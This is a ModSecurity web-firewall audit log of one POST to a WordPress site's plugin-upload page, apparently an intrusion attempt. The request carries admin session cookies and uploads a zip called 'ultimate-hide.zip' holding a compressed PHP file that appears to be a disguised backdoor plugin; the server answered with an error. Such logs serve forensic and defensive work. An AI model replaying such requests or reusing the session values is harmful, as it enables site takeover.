--9f938a58-A--
[10/Feb/2026:18:47:11 --0500] aYvDfrhenDUAAAhbf@UAAAAE 193.24.211.22 51604 127.0.0.190 80
--9f938a58-B--
POST /wp-admin/update.php?action=upload-plugin HTTP/1.1
X-Real-IP: 193.24.211.22
Host: www.tubethug.com
Connection: close
Content-Length: 1759
HTTP2-Settings: AAEAAQAAAAIAAAAAAAQAYAAAAAYABAAA
Cookie: wordpress_c02ea2aa2e4b28264bdc35bd6780cec6=admin%7C1770940018%7C9GHA3YnsP7xQVOVDzLY0MpcDiZCMM5xLVqWsXpf31xP%7C63b2e10f391a7eb367b9c34f57163ecb8c90fe8fea61b8f0d876b3c315c719f4; wordpress_logged_in_c02ea2aa2e4b28264bdc35bd6780cec6=admin%7C1770940018%7C9GHA3YnsP7xQVOVDzLY0MpcDiZCMM5xLVqWsXpf31xP%7Cc78fa2c58a7746ffe5ecfd9f9b91baee3d8859395e99d7cb00a54a907fbdebfd; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1770767220; wp-settings-1=posts_list_mode%3Dlist
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.207 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Priority: u=0, i
Cache-Control: max-age=0
DNT: 1
Origin: www.tubethug.com
Referer: http://www.tubethug.com/wp-admin/update.php?action=upload-plugin
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymi6dt36t0576hx5i

--9f938a58-C--
------WebKitFormBoundarymi6dt36t0576hx5i
Content-Disposition: form-data; name="_wpnonce"

e3ba702b81
------WebKitFormBoundarymi6dt36t0576hx5i
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/plugin-install.php?tab=upload
------WebKitFormBoundarymi6dt36t0576hx5i
Content-Disposition: form-data; name="pluginzip"; filename="ultimate-hide.zip"
Content-Type: application/octet-stream

PK��J\\"�8wp-compat/wp-compat.php�Vmo�6��_q)�����>-����	�#��A�c�%������HJJ����6~��������<ν���,)�<�k�a�p7���&���x��fT��7a2<W<K��b6<��
g.e�_m��A���Tp��h&��@�f����	�cɑ�G���Fߏ�zW��3Q�L�J�U�2!�ק��{���C��aO\*��6In��U�)�͑��ֽ�M��Pk:��	O%����_�� ��n$��
Aw%$��q$I�)E0��G3���E��-��J���e?��s@�u�D�0T=<�4MH'�P�t�������Q&����/<��BF:�BC�qo��"�q�5;f��lE����g�@j�,"<�䭙"Y^�'��Y�B���O��e����v�L�<��e]�YF8G�X.\��bj�9�;��*�Hk���r����Z��&��˗C���URy��6f����f߹��NL.:At�Rk$i��٭R�C����\1b9[t�H����1��hɸ����eоC��}�}�0;��c��׾�[��*���uၵ��,`.�ma�� �*D�4DX�RUc�Z�e�n�<�X���k���9������6�u�o�h�d�,���~�m��-?�+��������������&�Ix�fݽ�x���#g[i�����b|�uT��T\������hC�����ȭ�c�I:���[X����3��`yBCFB�$�"������;��?m���ta����'�F+y�8[�	��چ|Ԓ�B�f�	W��!�z�����	���Å��דSx@~�~�n����[F0Wg��޶�2�*V_ag���TkMG��7�d���j���K������jV1w�K�M
j��P����Ф號�^?t�Mk��v�l�[ekPQ��͗O+*Y�'Q��C�qJH?%U��d�K*�·T^�8��ʃ��ȩ�irO���ͯ�t��nn'���|N�&�������:��\jN��T�-#���$�CGzܶI�$���`�i�z}�7PK
��J\\"�8�
wp-compat/wp-compat.phpPK

ED
------WebKitFormBoundarymi6dt36t0576hx5i
Content-Disposition: form-data; name="install-plugin-submit"

Install Now
------WebKitFormBoundarymi6dt36t0576hx5i--

--9f938a58-I--
%5fwpnonce=e3ba702b81&%5fwp%5fhttp%5freferer=%2fwp%2dadmin%2fplugin%2dinstall%2ephp%3ftab%3dupload&install%2dplugin%2dsubmit=Install+Now
--9f938a58-F--
HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/5.3.29
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 2798
Connection: close
Content-Type: text/html; charset=utf-8

--9f938a58-E--

--9f938a58-H--
Stopwatch: 1770767230852323 932264 (- - -)
Stopwatch2: 1770767230852323 932264; combined=145554, p1=45, p2=8, p3=7, p4=0, p5=72747, sr=31, sw=1, l=0, gc=72746
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"

--9f938a58-Z--